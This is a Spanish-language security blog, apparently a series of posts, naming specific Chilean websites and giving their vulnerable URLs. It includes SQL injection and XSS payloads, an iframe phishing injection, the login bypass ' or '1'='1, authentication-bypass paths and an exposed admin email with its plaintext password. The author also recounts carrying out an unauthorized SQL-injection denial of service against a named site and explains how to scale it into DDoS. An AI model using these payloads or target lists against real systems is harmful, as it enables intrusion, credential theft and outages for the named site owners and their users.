Este sistema de pago del transporte público de Santiago, tiene un sistema que nos permite monitorear en línea los saldos y los movimientos de nuestra tarjeta y de ésta forma saber dónde cargamos con dinero la tarjeta, en qué buses o metro la usamos, cuánto salgo nos queda, etc. Este sistema no es en tiempo real por lo que asumo que no saca los valores directamente de la base de datos del sistema de transporte, además desconozco si tiene permisos para escribir en la base de datos o solamente leer.
El sistema tiene un bug que nos puede permitir, con un poco de ingenio, hacer un ataque de denegación de servicio distibuido (DDoS) y dejar el sistema (de saldos y mov. en linea) offline y posiblemente realizar inyección de código SQL (SQL-Injection) . No me he puesto a investigar que otro impacto podría tener.

El sistema nos permite ver la cantidad de movimientos y saldos de nuestra tarjeta por periodos de mes actual, 60 y 90 días, sin embargo, es posible modificar esos valores alterando el atributo “value” del elemento del formulario. Si, así de sencillo.

Código HTML original:

Mes Actual
60 dias
90 dias

Pruebas de concepto (PoC)

1. Modificamos el valor de “Mes Actual” por un número negativo.

Mes Actual
60 dias
90 dias

Y ejecutamos la consulta:

2. Modificamos el valor de “Mes Actual” por el número 5.

Mes Actual
60 dias
90 dias

Y ejecutamos la consulta:

Si se fijan en la fecha, podrán ver que sólo se mostró información desde hace 5 días.

3. Modificamos el valor de “Mes Actual” por una comilla para generar un error de sintáxis:

Mes Actual
60 dias
90 dias

Y ejecutamos la consulta:

Si cambiamos el valor de “Mes Actual” a uno muy alto, por ejemplo 99999999999999999999999999999999999999 podemos ver cómo el sistema ya comienza a comportarse de forma extraña, por ejemplo ver la fecha:

Operación: Cartola de movimientos
Tarjeta bip!: 6547XXXXX
Fecha: 11/02/2010 10:57
Movimientos desde: 90/37/-2.7

De ésta forma podemos manejar arbitrariamente la consulta.

Queda más que demostrado que el famoso sistema para ver los saldos y movimientos en línea de la tarjeta bip no está validando los parametros de entrada y con un poco de ingenio podemos realizar distintos tipos de ataques. Se pueden generar simultaneamente consultas pesadas en el servidor, provocando su caída. Tambien, con un poco más de conocimientos y habilidades es posible lograr la inyección de código sql en la consulta.

Compartir/Guardar

Ahora vamos a la práctica, se los enseñaré mediante un ejemplo real buscando un sitio web al azar con la ayuda de Google. Encontramos el sitio “Cibertec.cl” que al parecer cumple todo para poder explotarla.Ç
Si ingresamos al sitio http://www.cibertec.cl y revisamos el tipo de links que contiene, podemos darnos cuenta fácilmente que puede  ser vulnerable a SQLi.

Vamos a comprobarlo cambiando el número 587 por una comilla simple. Entonces ingresamos a http://www.cibertec.cl/detalle.php?item=’ y obtenemos el siguiente mensaje:

Database error: Invalid SQL: SELECT * FROM inventory WHERE id = ‘
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1)
Session halted.

Si nos fijamos en la línea donde nos muestra la consulta SQL podemos ver que al final pone “WHERE id = ‘“. Pues esa comilla simple que se ve depsues del signo igual es la comilla que nosotros pusimos en el navegador. De esta misma forma, si agregamos la palabra “prueba” luego de la comilla simple, podemos ver el siguiente mensaje:

Database error: Invalid SQL: SELECT * FROM inventory WHERE id = ‘prueba
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”prueba’ at line 1)
Session halted.

Ahi aparece la comilla simple seguida de la palabra prueba, justo lo que nosotros escribimos. Bien, ya manejamos lo que queremos que se muestre, ahora debemos insertar el código malicioso.

Prueba de concepto (PoC)

Vamos a aprovecharnos de ésta vulnerabilidad de SQL Injection para realizar phishing y para intentar robar una credencial mediante XSS.

1. Phishing: Vamos a añadir un iframe con un sitio especialmente preparado para éste fin. Pueden hacer la prueba incrustando el sitio de Google: http://www.cibertec.cl/detalle.php?item=%27%3Ciframe%20src=http://www.google.cl%3E%3C/iframe%3E
   (puede leer más sobre esto en un post que publiqué hace un tiempo)
2. Robo de credenciales: El típico aprovechamiento de Cross-Site Scripting usando javascript para redirigir al usuario a un sitio web cuyos parámetros será una cookie. Por ejemplo: http://www.cibertec.cl/detalle.php?item=%27%3Cscript%3Ealert%28this.cookie%29%3C/script%3E

De esta manera podemos afirmar que el sitio web Cibertec.cl es vulnerable a SQL Injection y Cross-Site Scriting.

Compartir/Guardar

En ese momento, me comuniqué con los encargados e intercambiamos 4 o 5 correos. Les comuniqué que tanto su sitio como sitios de clientes tenian graves vulnerabilidades, les dije exactamente que tipo de vulnerabilidades tenian y la forma de corregirlas. Luego de esto, la gente de GoldenData me preguntó si le podía hacer auditoría a otros sitios que tienen ellos … y yo, nada de tonto, le dije que si, pero como era un servicio que ellos me estaban pidiendo les cobraría mis horas hombre, luego de este último correo… la gente no se contactó nunca más conmigo… pues claro, querían que les hiciera auditoria gratis. Ahora me entero que la gente cambió totalmente el sitio web de su empresa pero no ha corregido los sitios de sus clientes. Esta véz no me centraré en GoldenData.cl, hablaré sobre los desarrollos que hacen ellos, es decir, sus clientes:

• http://www.artpetit.cl/
• http://www.videocity.cl/
• http://www.arapemaquetas.cl/
• http://www.questor.cl/
• http://www.almendradec.cl/
• http://www.kelsopro.cl/
• http://www.zanartu.cl/
• http://www.riosycia.cl/
• http://www.beeone.cl/

Tampoco me desgastaré en algo que ya hice: Comunicarme con la empresa, ya que además de ser aprovechadores, no supieron dar la cara.

Antes de empezar hice un análisis rápido a todos los sitios para descartar los que no tengan vulnerabilidades a simple vista. Los sitios descartados son: beeone.cl, almendradec.cl, kelsopro.cl, zanartu.cl y questor.cl. Empezaré a analizar las restantes:

1- http://www.artpetit.cl/
Las URL sospechosas para realizar LFI, RFI y XSS son las siguientes:

1. http://artpetit.cl/productos.php?categoria=Miniaturas
2. http://artpetit.cl/?pag=contactenos
3. http://artpetit.cl/?pag=contactenos&codigo=009F2&nombre=Oso%20en%20Balanc%EDn

Si intentamos agregar un código como por ejemplo <script>alert(object)</script> o cambiar el valor de la variable pag por algun path interno o externo (rfi, lfi) nos mostrara un mensaje que nos dirá: Not Acceptable.

Por lo que, si bien parecen ser vulnerables, no lo son. Por otro lado, si transformamos la variable pag o categoria a un arreglo (pag[]) veremos que el nos imprime el valor del Array, lo que nos dice automáticamente que no está parseando los valores de entrada, el mensaje “Not Acceptable” es a nivel de servidor y no de aplicación. Este error no ses crítico y no compromete en absoluto la seguridad del sistema.

http://artpetit.cl/productos.php?categoria[]=asdf

2- http://www.videocity.cl/
Si navegamos por el menú podremos ver una url como http://www.videocity.cl/#vitrina.php?dpto=Audio, lo primero que se nos ocurrirá es cambiar el valor de la variable dpto pero veremos que no tiene ningún resultado, la página se sigue viendo exáctamente igual. El truco es el siguiente: Remover el símbolo “#” y dejar la URL de la siguiente forma:

http://www.videocity.cl/vitrina.php?dpto=<script>alert(this)</script> y veremos que nos va a mostrar el alert. Con esto demostramos que este sitio es vulnerable a XSS, pudiendo insertar un iframe para realizar phishing o usar el sitio para cualquier cosa que nos imaginemos.
Podemos intentar el mismo truco para otras url donde se almacenen los id o secciones. Este sitio tiene el mismo error que el anterior al transformar alguna variable a Array.

3- http://www.arapemaquetas.cl/
Si intentamos hacer XSS a las URL del menú nos encontraremos con el mismo error que en el primer caso: Not acceptable. Sin embargo, la técnica de transformar la variable en un array nos permitirá saber el path del sitio dentro del sistema. A esto se le llama Full Path Disclosure.
La URL es:

http://www.arapemaquetas.cl/maquetas.php?categoria[]=Arquitectura

Obtendremos un resultado como:

Warning: include(htmls/array.html) [function.include]: failed to open stream: No such file or directory in /home/arapemaq/public_html/maquetas.php on line 18

Warning: include(htmls/array.html) [function.include]: failed to open stream: No such file or directory in /home/arapemaq/public_html/maquetas.php on line 18

Warning: include() [function.include]: Failed opening ‘htmls/array.html’ for inclusion (include_path=’.:/usr/lib/php:/usr/local/lib/php’) in /home/arapemaq/public_html/maquetas.php on line 18

4- http://www.riosycia.cl/
Este sitio es vulnerable a XSS mediante la siguiente URL:

http://www.riosycia.cl/productos_categorias.php?categoria=%3Cscript%3Ealert%28this%29%3C/script%3E

Si recorremos los distintos links del sitio podremos encontrar la ruta a un fichero llamado clave.php:

http://www.riosycia.cl/aplicaciones/clave.php

Si ingresamos un correo cualquiera nos dirá que no está en la base de datos, sin embargo, si ingresamos el comodín

‘ or ’1′=’1

Nos dirá que el correo fue enviado a esa dirección. Lo que nos comprueba que ese formulario es vulnerable a SQL Injnection.

Vulnerabilidades detectadas: Full Path Disclosure, SQL Injection, XSS.
Alcance de las vulnerabilidades: Uso del sitio para hacer phishing y, mediante SQLi tener una infinidad de opciones para realizar ataques, incluyendo un D-o-S.
Errores detectados: Parametros de entrada sin filtros.

Como conclusión podemos decir que estas personas no  dedican tiempo al tema de la seguridad ya que los sitios que no eran vulnerables es porque son sitios estáticos y feos y aquellos que al intentar violarlos aparecia el menasje de “Not Acceptable” es porque el servidor donde esa empresa tenia alojada el sitio web estaba protegido. Esto último explica el hecho de que los sitios hechos de la misma forma funcionen en un servidor y en otros no.

Por lo tanto, NO recomiendo esta empresa.

Compartir/Guardar

Tambien me gustaria emitir un comentario personal; las empresas que se dedican a realizar sitios, diseños de “última generación”, web 2.0, web marketing, etc etc y que dicen ser expertos en la captación de clientes, saben cómo navega un usuario en su sitio, etc siempre dejan de lado la seguridad y generalmente no tienen a gente altamente capacitada para programar o adminsitrar un servidor y es este motivo el que me da ganas de romperles la seguridad del sitio, de buena manera, obviamente.

Ya, vamos a la acción…

Como de costumbre, ingresamos al sitio y no nos dedicamos a recorrer las promociones, ni nada porque no nos interesa, lo que realmente nos interesa es encontrar links candidatos a ser explotados, si nos damos una vuelta rápida por el sitio vamos a encontrar rapidamente dos enlaces:

http://www.webseo.cl/formulario.php?plan=DWamedidad&tipo=contizar
http://www.webseo.cl/noticia_detalle.php?id=1

Vamos a destripar la primera url, intentando provocar un error, incluir ficheros loales/remotos, etc. Luego de intentarlo un par de veces nos damos cuenta que no es vulnerable (a simple vista) por lo que, para no perder el tiempo, nos vamos directamente a la segunda url, lo que primero se nos viene a la cabeza es un sql injection, pues intentemoslo:

El query select n.idnoticias, n.titulo, n.fecha_ingreso, n.foto, r.resumen, d.descripcion, c.idcategorias, n.categorias_idcategorias, c.nombre, n.estado, a.archivo from vmst_noticias n, vmst_resumen r, vmst_descripcion d, vmst_categorias c, vmst_archivo a where c.idcategorias=n.categorias_idcategorias and d.noticias_idnoticias=n.idnoticias and r.noticias_idnoticias=n.idnoticias and c.idcategorias=’1′ and n.idnoticias=a.noticias_idnoticias and n.idnoticias=’ and n.estado=’SI’ el inválidoYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘SI” at line 1You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘SI” at line 1

Ya tenemos el query, las filas, tablas, etc. Este mensaje de error nos facilitará la vida, vamos por las tablas que nos interesan, usuarios, password, etc etc. Encontramos las siguientes tablas:

vmst_archivo
vmst_bannear
vmst_administrador

Ya tenemos lo que nos interesa, la tabla vmst_administrador. El siguiente paso es obtener las columnas y luego la información:
Las columnas encontradas son email y pass las cuales contiene la siguiente información:

email | pass
cyenes@webseo.cl | 654321

Si hacemos un whois al dominio, podemos ver que el dueño se llama “CHRISTOPHER JOHN YENES BURGOS” y el email es cyenes@webseo.cl lo que podemos concluir, que ese email corresponde al dueño de la empresa. Si nos fijamos en la clave, corresponen a numeros desde el 6 hasta el 1 lo que es extremadamente fácil y entonces nos preguntamos

¿Si el dueño de la empresa usa password tan tontas como esas, queire decir que no confia en el sistema, entonces por que nosotros debemos confiar en él (ademas estan en exto plano!!!!)?

De lo contrario, si esta persona si confiara en sus sistemas, entonces ¿Por qué usa password tan fáciles y texto plano?

Ya habiendo encontrado este tipo de vulnerabilidad y habiendo concluido esto, queda claro que WebSeo no es una empresa de confianza, no demuestra profesionalidad.

Vulnerabilidades detectadas: SQL Injection.
Alcance de las vulnerabilidades: Recorrido de tablas y columnas, obtención de datos de las tablas.
Errores detectados: Passwords sin encriptación, no existen filtros de entrada en las URL.

Compartir/Guardar

El primer paso fue encontrar un objetivo que tenga una vulnerabilidad SQLi, luego de eso ver hasta qué punto podemos inyectar código SQL para poder crear nuestra consulta pesada que genere la denegación de servicio.

El sitio objetivo fue http://maqval.cl (alojado en dreamhost), sitio que esta entre los “Sitios vulnerables” que he publicado. La consulta SQL que nos ayudó a realizar la denegación de servicio fue una con SELECT anidados usando la función BENCHMARK y repitiendo muchas veces  estas instrucciones. No sé si el sitio web corrigió las vulnerabilidades, por lo que no daré el string completo de la inyección sql.

Fuimos 2 o 3 personas las que ejecutamos la inyección sql y al pasar los segundos el sitio dejo de responder, mostrando el mensaje:

This Site is temporarily unavailable

Bastaron dos o tres peticiones para que el sitio cayera.
El sitio estuvo abajo toda la noche y al otro día. Me comuniqué con el encargado del hosting y me contó que lo estaban llamando los clientes para preguntar que sucedia con el sitio web, que los productos y precios no aparecian, etc. El encargado se conectó a la base de datos y se sio cuenta que no estaba, como si la hubiesen eliminado (drop database, delete…) me miró y yo le dije “Oops! Yo no fui, yo solo le hice DoS”, entonces él empezó a averiguar y claro, los de sotorpe soporte de dreamhosthabían eliminado la base de datos ya que consumia muchos recursos en el servidor y estaba comprometiendo el servicio de otros clientes, afortunadamente el encargado del hosting tenia un respaldo de la base de datos.

Bueno, con esto, lo único que queda decir, un ataque dirigido puede llegar a afectar a todos los usuarios y servicios de un servidor, logrando hasta que le cancelen la cuenta. La prueba de concepto fue realizada con éxito.

Compartir/Guardar

Corresponden a las vulnerabildiades SQL Injection y XSS y los sitios son los siguientes:

• sirpachile.cl
• tardis.cl
• paihuen.cl
• dibam.cl
• balmacedartejoven.cl

Las URL vulerables:

http://www.sirapchile.cl/biblioteca.php?categoria_biblioteca=&Submit=Buscar&dat=[XSS]

http://www.tardis.cl/uf.php?ano=[SQL Injection]

http://www.paihuen.cl/socios/default.asp?mensaje=[XSS]

http://www.dibam.cl/error.asp?cadena=a&pagina=[XSS]

La siguiente URI tiene dos vulnerabilidades:

http://www.balmacedartejoven.cl/portada_sede.php?go_sede=[SQL Injection | XSS ]

Compartir/Guardar

(Imágen: http://nsl.cs.columbia.edu)

La teoría de esto es muy sencilla, pensemos que para hacer que un servicio deje de responder hay que hacer que se sature y esto se puede lograr de varias formas, muchas conexiones simultaneas, flood, synflood, etc. La forma que quiero enseñar es bastante más simple y consiste en modificar una consulta SQL, mediante SQL Injection, de manera tal que el servidor aumente considerablemente su carga y tiempo de respuesta hasta lograr el esperado denial of service.

Por ejemplo, pensemos en una tienda comercial que tiene en su base de datos miles (o millones) de productos, una tipica consulta para listar los productos de una categoría en particular sería:

SELECT id,producto,valor FROM productos WHERE categoria = (id de la categoría)

Y la URI sería algo como
http://sitio.com/tienda/productos.php?categoria=(id de la categoría).
Si este sitio permitiese inyectar código SQL podríamos modificar la consulta de manera tal que nos muestre todos los productos, sin importar la categoría, haciendo que la consulta quede de la siguiente forma:

SELECT id,producto,valor FROM productos WHERE categoria = (id de la categoría) OR 1 = 1

Para lograr esto, la dirección quedaría mas o menos asi:
http://sitio.com/tienda/productos.php?categoria=(id de la categoría)%20OR%201=1
Logrando que el sitio web nos muestre todos los productos y generando una carga mayor al servidor.

Si encontamos la forma de lograr la mayor carga en el servidor, podemos hacer un ataque sincronizado y distribuido para lograr nuestro objetivo: DDoS.
La distribución del ataque se puede realizar de distintas formas, muchos computadores atacando un sitio web o bien buscar las sitios web alojados en el mismo servidor o que usen el mismo recurso de base de datos y de esta forma generar más carga aún.

Está de más decir que esto es sólo una prueba de concepto y que si bien hay muchos sitios vulnerables a este tipo de ataque, la finalidad de todo esto es saber el alcance que puede tener una no-validación de datos.

Compartir/Guardar

• rmm.cl
• eduvic.cl
• cronica.cl
• uss.cl (www.uss.cl y enred.uss.cl)

- Las vulnerabilidades XSS corresponden a los siguientes sitios:

http://www.rmm.cl/recursos.php?id_portal=335&seccion=[XSS]
http://www.eduvic.cl/doc.asp?id=1&nom=[XSS]
http://enred.uss.cl/seccion/cambios_equipo_institucional.php?ac=[XSS]

- Los sitios con vulnerabilidad SQL Injection son:

http://enred.uss.cl/seccion/cambios_equipo_institucional.php?ac=[SQL Injection]
http://www.uss.cl/alumnos/noticias_detalle.php?s=20040708164902&c=[SQL Injection]

- Full Path Disclosure

http://www.cronica.cl/edicion_cronica/seccion/articulo.php?dia=1190088000&seccion=[XXX]

Bonus track

http://twittersheep.com/results.php?u=[XSS]

Compartir/Guardar

- Ecored.cl
- iti.cl (https)
- stiport.cl (https)
- Lucylafuenteindo.cl
- latitud90.com
- Maqval.cl

Con “Lucylafuenteindo.cl” intenté comunicarme para solucionar el problema pero luego de corregir parcialmente el problema ni se contactaron conmigo. Ecored.cl parece ser (o fue) una empresa de informatica bastante vieja, nose si aun utillizaran el sitio. Con los otros sitios estoy intentando contactarme.
Para leer mas detalladamente las fallas en cada uno de los sitios lea el articulo completo.

A continuación una lista de los sitios con su vulnerabilidad y su URI vulnerable

Remote File Include:

http://www.ecored.cl/php/a-mensaje-envia.php?foro=[RFI]
https://torpedo.iti.cl/funciones/login.php?mensaje=[XSS]&pagina=[RFI]
https://www.stiport.cl/funciones/login.php?mensaje=[XSS]&pagina=[RFI]

XSS:

http://www.latitud90.com/admin/index.php?mensaje=[XSS]&dia=[XSS]&hora=[XSS]
http://www.maqval.cl/?ver=productos&id=5&cat=[XSS]

SQL Injection:

http://www.maqval.cl/?ver=carrito&a=add&c=1&n=[SQL]

Y por ultimo, una vulnerabilidad bastante peculiar, se trata de Auth Bypass, podremos editar el contenido del sitio con tan solo conocer la ruta de la administración, sin un usuario ni un password. Personalmente, pienso que este tipo de sistemas es una falta de respeto.

Tenemos el sitio http://www.lucylafuenteindo.cl/ donde podemos navegar por su contenido, cuando ingresamos nos redirecciona a http://www.lucylafuenteindo.cl/web y misteriosamente, si nos vamos a /admin, podremos editar el contenido  como nosotros queramos, saltandonos cualquier tipo de autentificación que el sitio pudiese haber tenido:
http://www.lucylafuenteindo.cl/web/admin/

Compartir/Guardar

Este sistema de inicio de sesion tiene dos vulnerabildiades que pueden ser explotadas muy facilmente, SQL Injection y Authentification bypass. La primera nos permitirá iniciar sesion como cualquier cliente o administrador y la segunda

Ejemplo, com un SQL Injection vamos a iniciar sesion como un usuario al azar:

La tercera vulnerabilidad la podemos encontrar si miramos la url de esta pantalla

Corresponde a una vulnerabilidad de stipo XSS, si cambiamos el contenido de la variable nom por algun codigo malicioso, podremos usar el sitio de caffarena para hacer phishing, robar cookies y otros datos de clientes, etc.

La vulnerabilidad numero cuatro corresponde a una del tipo authentificaction bypass, que nos permitirá ingresar al sistema de administración con tan solo escribir en la barra de direcciones el directorio donde se encuentra este sistema, sin un login ni nada. En este panel de administración podremos encontrar todos los documentos de los clientes y además, una lista de todos los clientes con sus respectivos passwords.

Como quinta y ultima vulnerabilidad, tenemos que al intentar subir algun fichero, el sistema no valida de que tipo es por lo que podemos subir algun script escrito en php con codigo malicioso que nos permita hacer las cosas que queramos realizar operaciones no permitidas en el servidor, ejecutar comandos, navegar por los directorios, etc.

Como conclusion, no me queda nada mas que decir que este sitio web esta tapado en bugs altamente explotables y es una de las paginas con los sistemas de seguridad y administracion mas malo que he visto.

Compartir/Guardar

Voy a listar las vulnerabilidades que, según mi experiencia, son las más comunes en los sitios web.

• File/Path Disclosure: Esta vulnerabilidad es más comun de lo que uno pueda imaginar, aunque generalmente para poder llegar a explotarla es necesario pasar algun sistema de autentificacion ya que es muy comun en sistemas donde los usuarios tienen acceso a descargar o subir información como un sitio de una Universidad, biblioteca, intranet, etc.

• XSS (Cross-Site Scripting): Esta vulnerabilidad tambien es muy comun, aunque es un poco mas compleja de explotar, requiere conocimiento en javascript, manejos de cookies y un poco de experiencia en el tema. Con esta vulnerabilidad es posible robar cookies para ingresar a algun sistema autentificado con un usuario ajeno.

• SQL Injection: Hace un tiempo fue el boom de esta vulnerabilidad, muchos sitios tenian fallos de este tipo. Estuvo de moda explotar vulnerabilidades de phpnuke o phpbb basadas en SQL Injection que nos permitian escalacion de privilegios. Esta tecnica consiste basicamente en manipular una consulta sql para lograr nuestro proposito como saber nombre de tablas, version de la base de datos y tambien manipular ingresos de datos a la base de datos para modificar campos de tablas, crear archivos, cambiar privilegios, etc.

• Authentication bypass:  Desde mi punto de vista, esta vulnerabilidad, bug o fallo es uno de los mas estupidos que un programador/desarrollador puede cometer. Para hacer un login es necesario manejarse con el tema de cookies o sesiones, segun el lenguaje o las necesidades y cuando una persona sin estos conocimientos intenta hacer un codigo de autentificacion sucede lo peor. El caso mas comun y sencillo de este tipo de fallo es saltarse el login haciendo un cambio en la URL. Por ejemplo, tenemos http://example.com/login.php y nos damos cuenta que ese login.php hace un POST con nuestros datos a http://example.com/admin/valida.php, luego, sin ingresar ningun usuario ni password escribimos manualmente la url http://example.com/admin y sorpresa! estamos en el sitio de admin sin usuario pass ni nada, habiendonos saltado el login. Aunque no lo crean, es bastante comun.

Compartir/Guardar